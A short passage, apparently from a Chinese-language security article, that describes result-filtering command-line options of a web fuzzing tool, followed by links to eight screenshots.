--hc/hl/hw/hh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
--sc/sl/sw/sh N[,N]+ : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
--ss/hs regex : 显示或隐藏返回结果中符合指定正则表达式的返回结果
--filter <filter> : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)
--prefilter <filter> : 用指定的filter表达式在测试之前过滤某些测试条目




















































![Image_[3].png Image_[3].png](http://zone.secevery.com/uploads/article/20190730/056da772d227df587b8f65759635616e.png)
![Image_[2].png Image_[2].png](http://zone.secevery.com/uploads/article/20190730/5c5fd1a2136a5edfadeb0c4cd998054b.png)
![Image_[4].png Image_[4].png](http://zone.secevery.com/uploads/article/20190730/a05b4dafd7e48d0a5a4e84fb196690bd.png)
![Image_[5].png Image_[5].png](http://zone.secevery.com/uploads/article/20190730/1e6aa439b984e0c8fbd3e15ed7140d46.png)
![Image_[6].png Image_[6].png](http://zone.secevery.com/uploads/article/20190730/93adcddcf0e8b8a326606302048efa88.png)
![Image_[8].png Image_[8].png](http://zone.secevery.com/uploads/article/20190730/ab3a2f9b4a500810e72e137ee0f64302.png)
![Image_[9].png Image_[9].png](http://zone.secevery.com/uploads/article/20190730/d21aaf3e5a6deb3e0a194bdccb01c59f.png)
![Image_[10].png Image_[10].png](http://zone.secevery.com/uploads/article/20190730/b503aca3df33f89af95c8c9911e8c06c.png)